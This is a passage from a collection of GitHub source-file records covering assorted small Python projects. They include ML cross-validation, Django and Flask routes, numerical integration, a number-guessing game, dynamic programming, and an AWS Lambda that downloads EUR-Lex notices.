compute_rmse(se)\r\n return rmse\r\n\r\ndef main():\r\n args = sys.argv\r\n data = np.genfromtxt('./x06Simple.csv', delimiter=',', dtype=\"uint16\", skip_header=1, usecols=(1,2,3))\r\n s = 3\r\n\r\n if len(args) > 1:\r\n if args[1].isdigit():\r\n s = int(args[1])\r\n if s == 1:\r\n return print(\"S-Folds must be larger than 1\")\r\n elif args[1].lower() == 'n':\r\n s = len(data)\r\n else:\r\n return\r\n\r\n all_rmse = []\r\n for i in range(0, 20):\r\n np.random.seed(i)\r\n np.random.shuffle(data)\r\n split_data = np.array_split(data, s)\r\n rmse = perform_s_folds(s, split_data)\r\n all_rmse.append(rmse)\r\n\r\n rmse_mean = np.mean(all_rmse, axis=0)\r\n rmse_std = np.std(all_rmse, axis=0, ddof=1)\r\n\r\n print(f\"Average RMSE over {s} folds:\", rmse_mean)\r\n print(f\"Standard deviation over {s} folds:\", rmse_std)\r\n\r\n return\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"tjrein/hw2","sub_path":"s_folds.py","file_name":"s_folds.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"8394557895","text":"# Exercícios\n# Crie funções que duplicam, triplicam e quadrúplicam\n# o número recebido como parâmetro.\n\ndef create_mult(num_mult):\n def mult(num):\n return num * num_mult\n return mult\n\nduplicate = create_mult(2)\ntriple = create_mult(3)\nquadruple = create_mult(4)\n\nexecute_def = (duplicate, triple, quadruple)\n\nfor data in execute_def:\n print(data(2))","repo_name":"Thiago-Teofilo/curso_python","sub_path":"python_curso_completo/m04_python_intermediario/aula117-ex-funcoes.py","file_name":"aula117-ex-funcoes.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"12404747983","text":"from django.urls import path\nfrom . import views\n\n\napp_name = \"video\"\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"upload/\", views.upload, name=\"upload\"),\n path(\"/detail/\", views.detail, name=\"detail\")\n]\n\n","repo_name":"naohiro-yamada/video-pro","sub_path":"video/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"74370490407","text":"from enum import Enum\nimport re\nimport os\n\ndef remove_all_comment(input_lines : list):\n \n # degbug\n #vprint = print\n def vprint(*argc, **kwargs):\n pass\n\n class Mode(Enum):\n Normal = 0\n Comment = 1\n\n def remove_comment(line : str, arg):\n res_line = \"\"\n idx_comment_end = -2\n idx_comment_start = 0\n vprint(line)\n while True:\n vprint(idx_comment_start, idx_comment_end, res_line)\n idx_comment_start = line.find(\"/*\",idx_comment_end+2)\n if idx_comment_start != -1:\n res_line += line[idx_comment_end+2:idx_comment_start]\n else:\n res_line += line[idx_comment_end+2:]\n break\n \n idx_comment_end = line.find(\"*/\", idx_comment_start)\n if idx_comment_end != -1:\n pass\n else:\n arg[0] = Mode.Comment\n break\n \n return res_line\n \n i = 0\n mode = Mode.Normal\n res_line_list = []\n for line in input_lines:\n i += 1\n #line = str(line[:-2], \"utf-8\")\n line = line[:-2].decode(\"utf-8\",\"ignore\")\n \n res_line = \"\"\n\n vprint(f\"line{i:5} :\", mode, \" \", line)\n\n if mode == Mode.Comment:\n idx_comment_end = line.find(\"*/\")\n if idx_comment_end != -1:\n mode = Mode.Normal\n line = line[idx_comment_end+2:]\n else :\n pass\n \n if mode == Mode.Normal:\n arg = [mode]\n line = remove_comment(line, arg)\n mode = arg[0]\n\n if mode == Mode.Normal:\n idx_double_slash = line.find(\"//\")\n if idx_double_slash != -1:\n vprint(i, idx_double_slash)\n res_line = line[:idx_double_slash]\n else :\n res_line = line\n\n #wf.write(bytes(res_line, \"utf-8\"))\n #wf.write(b\"\\r\\n\")\n res_line_list.append(res_line)\n return res_line_list\n\ndef flatten(list_of_lists):\n if len(list_of_lists) == 0:\n return list_of_lists\n if isinstance(list_of_lists[0], list):\n return flatten(list_of_lists[0]) + flatten(list_of_lists[1:])\n return list_of_lists[:1] + flatten(list_of_lists[1:])\n\ndef reduce_lines(input_lines : list):\n res_line_list = []\n \ndef lines_to_Code(input_lines : list, tar_path : str):\n \n with open(tar_path, 'wb') as wf:\n for line in input_lines :\n wf.write(bytes(line, \"utf-8\"))\n wf.write(b\"\\r\\n\")\n \ndef find_all_file(dir_path : str, ext = ['c','h']):\n '''\n Args:\n ext: file extension.\n '''\n res_list = []\n for root, dirs, files in os.walk(dir_path):\n # Print the file names\n for file in files:\n #print(os.path.join(root, file))\n for ee in ext:\n if ee == '*':\n #print(root, file)\n res_list.append(root + \"\\\\\" + file)\n break\n ee = '.'+ee\n if file[-len(ee):] == ee:\n #print(root, file)\n res_list.append(root + \"\\\\\" + file)\n break\n return res_list\n\ndef split_mulit_blank(line : str):\n return [w for w in line.split(' ') if w != '']\n\ndef reduce_blank( line : str):\n return \" \".join(split_mulit_blank(line))\n\ndef find_list_idx(L : list, Tar, reverse = False):\n '''\n Args:\n Tar:\n Type : \n 1. str \n 2. list(str) : multi tar\n '''\n if type(Tar) != list:\n Tar = [Tar]\n \n return firstTrue(L , lambda x: x in Tar, reverse = reverse)\n\ndef find_sym_reverse(symbol_list : list, sym_tar : str, sym_reverse : str):\n s = -1\n for i,w in enumerate(symbol_list):\n #print(w,s)\n if w == sym_reverse:\n s -= 1\n elif w == sym_tar:\n s += 1\n #print(s)symbol_list\n if s >= 0:\n return i\n return -1\n\ndef firstTrue(L : list, f, reverse = False):\n assert callable(f)\n '''\n return : \n -1 : f(l) is True, for all l in L\n >=0 : index of the first False \n '''\n iter = enumerate(L) if reverse == False else enumerate(reversed(L))\n l = len(L)\n for i, w in iter:\n if f(w):\n if reverse == False:\n return i\n else:\n return l - i - 1\n return -1 \n\ndef firstFalse(L : list, f, reverse = False):\n return firstTrue(L, lambda x : not f(x), reverse = reverse)\n\ndef allTrue(L : list, f):\n ''' \n weather all f(e) is True for all l in L \n \n Args:\n f : function f(any) -> bool \n '''\n idx = firstFalse(L, f)\n if idx == -1:\n return True\n else:\n return False\n\n\n\n\ndef isNum(c):\n n = ord(c)\n return (n >= 48) and (n <= 57)\n\ndef isWord(c):\n n = ord(c)\n return ((n >= 97) and (n <= 122)) or ((n >= 65) and (n <= 90))\n\n_debug_cnt = 0\ndef debug_recursive(max : int):\n global _debug_cnt\n _debug_cnt += 1\n assert _debug_cnt < max\n\ndef prefix_cmp(text : str, CmpStr : str) -> bool:\n l = len(CmpStr)\n if text[:l] == CmpStr:\n return True\n else:\n return False\n","repo_name":"AlexJhang/Syntax-","sub_path":"util/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"11017081996","text":"import os\nimport pandas as pd\nimport numpy as np\nimport streamlit as st\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom datetime import datetime\n\ndef page_study_of_annual_comparison_body():\n\n # load the data\n df = (\"/workspace/fifth-milestone-project-bitcoin/app_pages/Bitcoin_Price_Data.csv\")\n\n # filter the dataset for comparison\n df = (\"/workspace/fifth-milestone-project-bitcoin/app_pages/Bitcoin_Price_Data.csv\")\n usecols=range(2,4)\n\n newdf = df[df['Date'].str.contains('2014-03-14|01-01|06-30|12-31|2021-10-29')]\n \n # Code copied from Study of annual comparison Notebook\n vars_to_study = ['Date', 'Closing price (USD)', '24h open (USD)']\n\n st.write(\"## Study of annual comparison\")\n st.info(\n f\"The client would like to know:\\n\"\n f\"As the exchange rate rises, the difference between the opening and closing value will be smaller than with a lower exchange rate.\")\n\n # Text based on Conclusions of the Study of annual comparison\n st.info(\n f\"According to the plots, when the exchange rate increases,\\n\"\n f\"**most of the time the opening price is higher** than the closing price.\\n\"\n f\"According to the mathemathical method, as the exchange rate rises, the difference between the opening and closing value\\n\"\n f\"**will not be smaller** than with a lower exchange rate.\\n\"\n f\"The exchange rate was changing rapidly and the difference between the opening and closing prices were\\n\"\n f\"**significantly bigger from january 2018** than in the previous 4 years.\\n\"\n f\"During the sale, more attention should be paid to the opening price than to the closing price.\\n\"\n f\"When buying, it may be more beneficial to observe the closing price.\"\n )\n\n# Code based on EDA on selected variables of Study of annual comparison Notebook\n\n def newdf_eda():\n newdf_eda = newdf.filter(vars_to_study)\n\n if st.checkbox(\"Annual comparison between opening and closing price\"):\n annual_comparison(newdf_eda)\n\n# Code copied from Study of annual comparison Notebook and adapted to page requirements\ndef annual_comparison(df_eda):\n df = (\"/workspace/fifth-milestone-project-bitcoin/app_pages/Bitcoin_Price_Data.csv\")\n target_var = ['Date', 'Closing Price (USD)','24h Open (USD)']\n vars_to_study = ['Date', 'Closing Price (USD)', '24h Open (USD)']\n newdf = df[df['Date'].str.contains('2014-03-14|01-01|06-30|12-31|2021-10-29')]\n newdf_eda = newdf.filter(vars_to_study)\n for col in vars_to_study:\n \n plot_categorical(newdf_eda, col, target_var)\n print()\n \n# Code copied from Study of annual comparison Notebook and adapted to page requirements\ndef plot_categorical(newdf, col, target_var):\n df = (\"/workspace/fifth-milestone-project-bitcoin/app_pages/Bitcoin_Price_Data.csv\")\n newdf = df[df['Date'].str.contains('2014-03-14|01-01|06-30|12-31|2021-10-29')]\n plt.figure(figsize=(9, 5))\n sns.regplot(x=newdf[\"24h Open (USD)\"], y=newdf[\"Closing Price (USD)\"])\n plt.show()\n","repo_name":"Code-Institute-Submissions/fifth-milestone-project-bitcoin","sub_path":"app_pages/page_study_of_annual_comparison.py","file_name":"page_study_of_annual_comparison.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"} +{"seq_id":"16725966777","text":"n = int(input())\r\n\r\nxl = []\r\nyl = []\r\nfor _ in range(n):\r\n x, y = map(int, input().split())\r\n xl.append(x)\r\n yl.append(y)\r\n\r\nxl.sort()\r\nyl.sort()\r\n\r\n\r\ntempx1 = 0\r\ntempx2 = 0\r\ntempy1 = 0\r\ntempy2 = 0\r\n\r\nfor i in xl:\r\n tempx1 += abs(i - xl[n // 2])\r\n tempx2 += abs(i - xl[n//2 - 1])\r\nfor j in yl:\r\n tempy1 += abs(j - yl[n // 2])\r\n tempy2 += abs(j - yl[n // 2 - 1])\r\n\r\nif tempx1 >= tempx2:\r\n ansx = tempx2\r\nelse:\r\n ansx = tempx1\r\n\r\nif tempy1 >= tempy2:\r\n ansy = tempy2\r\nelse:\r\n ansy = tempy1\r\n\r\nans = ansx + ansy\r\n\r\nprint(ans)","repo_name":"bshello/Algo","sub_path":"백준/Silver/14400. 편의점 2/편의점 2.py","file_name":"편의점 2.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"74502653927","text":"import ScriptEnv\r\n\r\nclass solutions():\r\n def __init__(self):\r\n oProject = oDesktop.GetActiveProject()\r\n self.oDesign = oProject.GetActiveDesign()\r\n \r\n def getReportType(self):\r\n oModule=self.oDesign.GetModule(\"ReportSetup\")\r\n return oModule.GetAvailableReportTypes()\r\n\r\n def getAvailableSolution(self, ReportType):\r\n oModule=self.oDesign.GetModule(\"ReportSetup\")\r\n return oModule.GetAvailableSolutions(ReportType)\r\n \r\n def getFrequency(self, Solution):\r\n oModule=self.oDesign.GetModule(\"Solutions\")\r\n return oModule.GetSolveRangeInfo(Solution)\r\n \r\n def getVariations(self, Solution):\r\n oModule=self.oDesign.GetModule(\"Solutions\")\r\n return oModule.GetAvailableVariations(Solution)\r\n\r\noProject = oDesktop.GetActiveProject()\r\noDesign = oProject.GetActiveDesign()\r\noModule = oDesign.GetModule(\"Solutions\")\r\n\r\nsol=solutions()\r\nfor i in sol.getReportType():\r\n for j in sol.getAvailableSolution(i):\r\n if 'Sweep' not in j:\r\n continue\r\n for k in sol.getVariations(j):\r\n try:\r\n snpfile=\"{}{}.s{}p\".format(oProject.GetPath(),k,oModule.GetEditSourcesCount())\r\n oModule.ExportNetworkData(k, [j], 3, snpfile, [\"All\"], True, 50, \"S\", -1, 0, 15, True, False, False)\r\n AddWarningMessage(\"Export: {}\".format(snpfile))\r\n except:\r\n pass","repo_name":"linmingchih/HowtoSim_Script","sub_path":"Sweep_Touchstone_Export.py","file_name":"Sweep_Touchstone_Export.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"53"} +{"seq_id":"37403778824","text":"\r\n#CS 101 Lab\r\n#Program 3\r\n#Brandon Barber\r\n#bmbct7@umsystem.edu\r\n\r\n#Problem: Make a game to guess the users number based on the remainder when divided by 3, 5, and 7\r\n\r\nplay_again = 'Y'\r\n\r\nprint('Welcome to the Flarsheim Guesser!')\r\nwhile play_again.lower() == 'y':\r\n print('Think of a number between and including 1 and 100.')\r\n mod_3 = int(input('What is the remainder when your number is divided by 3? '))\r\n while (mod_3 < 0) or (mod_3 > 2):\r\n if mod_3 < 0:\r\n print('The value entered must be 0 or greater.')\r\n mod_3 = int(input('What is the remainder when your number is divided by 3? '))\r\n else:\r\n print('The value entered must be less than 3.')\r\n mod_3 = int(input('What is the remainder when your number is divided by 3? '))\r\n mod_5 = int(input('What is the remainder when your number is divided by 5? '))\r\n while (mod_5 < 0) or (mod_5 > 4):\r\n if mod_5 < 0:\r\n print('The value entered must be 0 or greater.')\r\n mod_5 = int(input('What is the remainder when your number is divided by 5? '))\r\n else:\r\n print('The value entered must be less than 5.')\r\n mod_5 = int(input('What is the remainder when your number is divided by 5? '))\r\n mod_7 = int(input('What is the remainder when your number is divided by 7? '))\r\n while (mod_7 < 0) or (mod_7 > 6):\r\n if mod_7 < 0:\r\n print('The value entered must be 0 or greater.')\r\n mod_7 = int(input('What is the remainder when your number is divided by 7? '))\r\n else:\r\n print('The value entered must be less than 7.')\r\n mod_7 = int(input('What is the remainder when your number is divided by 7? '))\r\n mod_3_list = []\r\n mod_5_list = []\r\n mod_7_list = []\r\n for num in range (mod_3, 101, 3):\r\n mod_3_list.append(num)\r\n for num in range (mod_5, 101, 5):\r\n mod_5_list.append(num)\r\n for num in range (mod_7, 101, 7):\r\n mod_7_list.append(num)\r\n for number in mod_3_list:\r\n if number in mod_5_list and number in mod_7_list:\r\n print('Your number was {}'.format(number))\r\n play_again = input('Do you want to play again? Y to continue, N to quit ')\r\n while play_again != 'y'.lower() and play_again != 'n'.lower():\r\n play_again = input('Do you want to play again? Y to continue, N to quit ')\r\n\r\n'''I am unsure if this would have been easier to write a function for the while if else loops in the mod_x sections.'''\r\n","repo_name":"BMB1996/CS101L","sub_path":"Assignment3/SourceCode/Assignment3.py","file_name":"Assignment3.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"5519862496","text":"\"\"\"Api floors module views\"\"\"\n\nfrom flask.views import MethodView\n\nfrom . import bp as api\nfrom .schemas import (\n FloorSchemaView,\n FloorQueryArgsSchema, FloorRequestBodySchema,\n FloorEtagSchema)\n\nfrom ...extensions.rest_api import Page, check_etag, set_etag\nfrom ...extensions.database import db_accessor\nfrom ...extensions.auth import auth_required, verify_scope, get_user_account\n\nfrom ....models import Floor, Building\nfrom ..schemas import TreeSchemaView\nfrom ....database.db_enums import DBEnumHandler\n\n\n@api.route('/types/')\nclass FloorTypes(MethodView):\n \"\"\"Floor types endpoint\"\"\"\n\n @auth_required(roles=['building_manager', 'module_data_processor'])\n @api.doc(\n summary='List floor types',\n description=(\n 'Floor types is an arborescent structure: a floor of '\n 'a type A1 is also of type A, for A1 a subtype of A.'))\n @api.response(TreeSchemaView)\n def get(self):\n \"\"\"Return floor type list\"\"\"\n dbhandler = DBEnumHandler()\n return dbhandler.get_floor_types()\n\n\n@api.route('/')\nclass Floors(MethodView):\n \"\"\"Floor resources endpoint\"\"\"\n\n @auth_required(roles=['building_manager', 'module_data_processor'])\n @api.doc(\n summary='List floors',\n description='''Allow one to get the description of different floors.\n Filters can and shall be used as parameters.''')\n @api.arguments(FloorQueryArgsSchema, location='query')\n @api.response(\n FloorSchemaView(many=True), etag_schema=FloorEtagSchema(many=True))\n @api.paginate(Page)\n def get(self, args):\n \"\"\"Return floor list\"\"\"\n # retrieve sort parameter\n sort = args.pop('sort', None)\n # permissions filter\n uacc = get_user_account()\n if uacc is not None and '*' not in uacc.sites:\n args['sites'] = uacc.sites\n return db_accessor.get_list(Floor, args, sort)\n\n @auth_required(roles=['building_manager'])\n @api.doc(\n summary='Add a new floor',\n description='''Create a new floor in BEMServer.
**A building needs to\n be created first!**''')\n @api.arguments(FloorRequestBodySchema)\n @api.response(FloorSchemaView, code=201, etag_schema=FloorEtagSchema)\n def post(self, new_data):\n \"\"\"Create a new floor\"\"\"\n # Save and return new item\n item = FloorSchemaView().make_obj(new_data)\n # permissions checks\n site_id = db_accessor.get_parent(Building, item.building_id)\n verify_scope(sites=[site_id])\n db_accessor.create(item)\n set_etag(item)\n return item\n\n\n@api.route('/')\nclass FloorsById(MethodView):\n \"\"\"Floor resource endpoint\"\"\"\n\n # @response also uses _get_item to generate etag value\n def _get_item(self, floor_id):\n \"\"\"Get an item from its ID\"\"\"\n # permissions checks\n site_id = db_accessor.get_parent(Floor, floor_id)\n verify_scope(sites=[site_id])\n return db_accessor.get_item_by_id(Floor, floor_id)\n\n @auth_required(roles=['building_manager', 'module_data_processor'])\n @api.doc(summary='Get floor by ID')\n @api.response(FloorSchemaView, etag_schema=FloorEtagSchema)\n def get(self, floor_id):\n \"\"\"Return an item from its ID\"\"\"\n item = self._get_item(floor_id)\n set_etag(item)\n return item\n\n @auth_required(roles=['building_manager'])\n @api.doc(summary='Update an existing floor')\n @api.arguments(FloorRequestBodySchema)\n @api.response(FloorSchemaView, etag_schema=FloorEtagSchema)\n def put(self, update_data, floor_id):\n \"\"\"Update an item from its ID and return updated item\"\"\"\n item = self._get_item(floor_id)\n check_etag(item)\n # Update, save and return item\n FloorSchemaView().update_obj(item, update_data)\n db_accessor.update(item)\n set_etag(item)\n return item\n\n @auth_required(roles=['building_manager'])\n @api.doc(summary='Delete a floor')\n @api.response(code=204, etag_schema=FloorEtagSchema)\n def delete(self, floor_id):\n \"\"\"Delete an item from its ID\"\"\"\n item = self._get_item(floor_id)\n check_etag(item)\n db_accessor.delete(item)\n","repo_name":"HIT2GAP-EU-PROJECT/bemserver","sub_path":"app/bemserver/api/views/floors/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4205,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"53"} +{"seq_id":"13853587355","text":"# -*- coding: utf-8 -*-\n# @Time : 2022/5/15 5:11 下午\n# @Author : Leo\n# @FileName: composite_2points_gauss_legendre.py\n# @Software: PyCharm\n# @Blog :https://guojxblog.cn\n# @GitHub :https://github.com/guojx0820\n# @Email :guojiaxiang0820@gmail.com\n\nclass CompositeGaussLegendreIntegration:\n \"\"\"\n 复化两点高斯——勒让德求积公式,等距节点数自定义\n \"\"\"\n\n def __init__(self, int_fun, int_interval, interval_num=4):\n self.int_fun = int_fun # 被积函数,符号定义\n if len(int_interval) == 2:\n self.a, self.b = int_interval[0], int_interval[1] # 被积区间\n else:\n raise ValueError(\"积分区间参数设置不规范,应为[a, b].\")\n self.interval_num = interval_num\n self.int_value = None\n\n def cal_int(self):\n \"\"\"\n 复化两点高斯——勒让德求积公式\n :return:\n \"\"\"\n fun_value = 0 # 初始化函数值\n interval_len = (self.b - self.a) / self.interval_num\n for k in range(self.interval_num - 1):\n fun_value += self.int_fun(self.a + (k + 1 / 2) * interval_len)\n self.int_value = interval_len * fun_value\n return self.int_value\n","repo_name":"guojx0820/NumericalAnalysis","sub_path":"NumericalIntegration/composite_2points_gauss_legendre.py","file_name":"composite_2points_gauss_legendre.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"23240985375","text":"# 给你一个整数数组 coins ,表示不同面额的硬币;以及一个整数 amount ,表示总金额。\n#\n# 计算并返回可以凑成总金额所需的 最少的硬币个数 。如果没有任何一种硬币组合能组成总金额,返回 -1 。\n#\n# 你可以认为每种硬币的数量是无限的。\n#\n# 得到dp[j](考虑coins[i]),只有一个来源,dp[j - coins[i]](没有考虑coins[i])。\n# 凑足总额为j - coins[i]的最少个数为dp[j - coins[i]],那么只需要加上一个钱币coins[i]即dp[j - coins[i]] + 1就是dp[j](考虑coins[i])\n# 所以dp[j] 要取所有 dp[j - coins[i]] + 1 中最小的。\n# 递推公式:dp[j] = min(dp[j - coins[i]] + 1, dp[j]);\n# 完全背包问题\ncoins = [1, 2, 5]\namount = 11\ncoins = [2]\namount = 3\nclass Solution:\n def coinChange(self, coins: List[int], amount: int) -> int:\n # 初始化:总数为0,那么最少硬币个数是0,所以dp[0]=0。另外,由于dp是取最小值,所以应该初始化为一个很大的值\n dp = [amount + 1] * (amount + 1)\n dp[0] = 0\n for i in range(len(coins)):\n for j in range(coins[i], amount + 1):\n dp[j] = min(dp[j], dp[j - coins[i]] + 1)\n if dp[-1] > amount:\n return -1\n else:\n return dp[-1]\n\nprint(coinChange(coins, amount))","repo_name":"vandeppce/algorithm","sub_path":"10.dynamic programming/322*CoinChange.py","file_name":"322*CoinChange.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"13946790521","text":"from sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import LabelBinarizer, OneHotEncoder\nimport pickle\nimport numpy as np\n\nclass DataEncoder():\n \"\"\"\n Class to handle encoding of csv data to labels and one-hot forms.\n \"\"\"\n\n def label_encode_columns(self, df, load_from_file=False):\n \"\"\"\n Class to encode classes in each column to integer labels.\n @param df: the original dataframe\n @param load_from_file: true while predicting, specifies that a saved encoder dictionary should be loaded.\n @return:\n \"\"\"\n\n for index, column_name in enumerate(list(df.columns)):\n df[column_name] = self.encode_labels(df[column_name].tolist(), column_name, load_from_file)\n # df[column_name] = self.load_and_transform_encoder(df[column_name], column_name, load_from_file)\n return df\n\n def encode_labels(self, list_of_strings, column_name, load_from_file=False):\n \"\"\"\n Helper function to encode labels to integers.\n @param list_of_strings: is the list of classes in a column of dataframe.\n @param column_name: is the column label, e.g. Students, etc.\n @param load_from_file: true if a saved encoding is to be loaded to carry out the transformation.\n @return: numpy array of strings mapped to corresponding integer classes.\n \"\"\"\n data_classes = list(sorted(set(list_of_strings)))\n # print(f'Data classes: {data_classes}')\n if load_from_file:\n mapping_dictionary = pickle.load(open('labelEncoder_' + column_name.split(' ')[0] + '.pkl', 'rb'))\n else:\n mapping_dictionary = dict(zip(data_classes, range(0, len(data_classes))))\n pickle.dump(mapping_dictionary, open('labelEncoder_' + column_name.split(' ')[0] + '.pkl', 'wb'))\n # print(\"Mapping dict: \", mapping_dictionary)\n mapped_labels = [mapping_dictionary[i] for i in list_of_strings]\n # print(mapped_labels[:10])\n mapped_labels = np.asarray(mapped_labels)\n return mapped_labels\n\n # \"\"\"\n # Function for label encoding using scikit-learn's LabelEncoder\n # \"\"\"\n # def load_and_transform_encoder(self, values, column_name, load_from_file=False):\n # encoder = pickle.load(open('labelEncoder_' + column_name.split(' ')[0] + '.pkl', 'rb')) if load_from_file else \\\n # LabelEncoder()\n # new_values = encoder.transform(values) if load_from_file else encoder.fit_transform(values)\n # if not load_from_file:\n # pickle.dump(encoder, open('labelEncoder_' + column_name.split(' ')[0] + '.pkl', 'wb'))\n # return new_values\n\n @staticmethod\n def manual_one_hot_encoder(list_of_labels, new_entry=False):\n \"\"\"\n Function to encode labels to one-hot form.\n @param list_of_labels: classes in integer format.\n @param new_entry: can be set to true if there are other classes than pre-defined 5 classes\n @return: array of one-hot encoded labels\n \"\"\"\n if not new_entry:\n no_of_classes = np.amax(list_of_labels) + 1\n else:\n no_of_classes = 5 # +1 because python's range operator considers [start, end)\n one_hot_encoded_labels = np.zeros(shape=(len(list_of_labels), no_of_classes), dtype=int)\n for idx, each_array in enumerate(list_of_labels):\n all_zeros = np.array([0 for _ in range(no_of_classes)])\n np.put(all_zeros, each_array[0], 1)\n one_hot_encoded_labels[idx] = all_zeros\n return one_hot_encoded_labels\n\n # @staticmethod\n # def one_hot_encode(list_of_labels):\n # print(list_of_labels)\n # encoder = OneHotEncoder(sparse=False)\n # onehot_encoded = encoder.fit_transform(list_of_labels)\n # return onehot_encoded\n\n\nclass TextInterface():\n \"\"\"\n Class to manage the text UI functionalities.\n \"\"\"\n def __init__(self, train_data):\n \"\"\"\n Constructor.\n @param train_data: is the dataframe after label and one-hot encoding.\n \"\"\"\n print(\"Data received: \")\n print(train_data.head(5))\n self.train_data = train_data\n self.feature_names = ['Request', 'Incident', 'WebServices', 'Login', 'Wireless', 'Printing',\n 'IdCards', 'Staff', 'Students']\n self.features_for_prediction = self.get_user_inputs()\n\n def get_user_inputs(self):\n \"\"\"\n Function to read user inputs for each feature.\n @return: list of complete input features.\n \"\"\"\n print(\"Please enter 'Yes/yes/y' for yes and 'No/no/n' for no saying whether the specified tag applies for the ticket...\")\n all_inputs = []\n label_dict = {'Yes': 'Yes', 'y': 'Yes', 'yes': 'Yes', 'No': 'No', 'n': 'No', 'no': 'No'}\n for (idx, name) in enumerate(self.feature_names):\n label = input(name + \": \")\n all_inputs.append(label_dict.get(label))\n print(f\"Press 'y' if you are tired of giving inputs, press 'n' otherwise:\")\n if input() == 'y':\n break\n\n # replace the rest of inputs with the maximum occurring value of that column\n remaining_inputs = len(self.feature_names) - len(all_inputs)\n if remaining_inputs > 0:\n for each in range(remaining_inputs):\n index = len(all_inputs)\n average_value = self.train_data[self.feature_names[index]].mean()\n answer = 'No' if average_value < 0.5 else 'Yes'\n all_inputs.append(answer)\n\n print(\"Inputs being used for prediction: \", all_inputs)\n return all_inputs\n\n def encode_user_data(self):\n \"\"\"\n Function to encode data received from user through UI.\n @return: array of encoded features.\n \"\"\"\n data_encoder = DataEncoder()\n features = [[each] for each in self.features_for_prediction]\n encoded_features = []\n for idx, column_name in enumerate(self.feature_names):\n encoded_features.append(data_encoder.encode_labels(features[idx],\n column_name,\n load_from_file=True))\n print(\"Encoded features: \", encoded_features)\n return np.array(encoded_features)\n","repo_name":"srvCodes/msc_st_andrews","sub_path":"ai_practice/A4Submission/A4src/src/encodeData.py","file_name":"encodeData.py","file_ext":"py","file_size_in_byte":6351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"32167521619","text":"import os\n\nimport requests\nimport boto3\nimport sys\nfrom datetime import datetime\n\n\ndef lambda_handler(event, context):\n print(f'Debug: event: {event}')\n\n cellar_id = event['cellarId']\n print(f'Downloading notice with cellar {cellar_id}')\n\n try:\n url = f'{get_endpoints()[\"notice\"]}/download-notice.html?legalContentId=cellar:' \\\n f'{cellar_id}¬iceType=branch&callingUrl=&lng=EN'\n print(f'Querying for notice: {url}')\n response = requests.get(url)\n if response.status_code == 200:\n print('Notice was downloaded successfully')\n upload_content(response.content, cellar_id)\n save_record(cellar_id)\n\n event['downloaded'] = True\n except Exception as e:\n error = sys.exc_info()[2]\n print(f'Error while downloading {error}, {e}')\n event['error'] = error\n event['downloaded'] = False\n\n return event\n\n\ndef upload_content(content: str, cellar_id: str):\n \"\"\"\n This function downloads the notice from EurLex and uploads it to S3\n \"\"\"\n s3_client = boto3.client('s3', endpoint_url=get_endpoints()['aws'])\n object_key = f'notice_{cellar_id}.xml'\n bucket_name = get_s3_bucket_name()\n existing_objects = s3_client.list_objects(Bucket=bucket_name, Prefix=object_key)\n\n if 'Contents' in existing_objects:\n print('Object with a given name already exists, to be removed')\n for item in existing_objects['Contents']:\n remove_key = item['Key']\n print(f'Removing {remove_key} from bucket {bucket_name}')\n s3_client.delete_object(Bucket=bucket_name, Key=remove_key)\n\n s3_client.put_object(Bucket=bucket_name, Key=object_key, Body=content)\n print(f'Object {object_key} was uploaded to bucket {bucket_name}')\n\n\ndef save_record(cellar_id: str):\n \"\"\"\n This function creates a record in the DynamoDB about a downloaded notice\n \"\"\"\n dynamo_client = boto3.client('dynamodb', endpoint_url=get_endpoints()['aws'])\n dynamo_table = get_dyname_table_name()\n current_date = datetime.now()\n dynamo_client.put_item(TableName=dynamo_table, Item={\n 'cellarId': {\n 'S': cellar_id\n },\n 'created': {\n 'S': current_date.strftime('%m/%d/%y %H:%M:%S')\n }\n })\n print(f'Item with cellar {cellar_id} created')\n\n\ndef get_s3_bucket_name() -> str:\n \"\"\"\n Returns the name of bucket to store downloaded notices\n \"\"\"\n return os.getenv('INGEST_S3_BUCKET_NAME', 'notices-bucket')\n\n\ndef get_dyname_table_name() -> str:\n \"\"\"\n Returns the name of the DynamoDB table to store information about downloaded notices\n \"\"\"\n return os.getenv('INGEST_DYNAMODB_TABLE_NAME', 'eurlex_documents')\n\n\ndef get_endpoints():\n \"\"\"\n Returns Localstack url for CI tests else None\n \"\"\"\n aws_endpoint = None if os.getenv(\"LOCALSTACK_HOSTNAME\") is None \\\n else f'http://{os.getenv(\"LOCALSTACK_HOSTNAME\")}:4566'\n notice_download_host = \"https://eur-lex.europa.eu\"\n\n return {\"aws\": aws_endpoint, \"notice\": notice_download_host}\n\n\nif __name__ == '__main__':\n event = {\n 'cellarId': 'a14bb485-038c-11eb-a511-01aa75ed71a1'\n }\n lambda_handler(event, 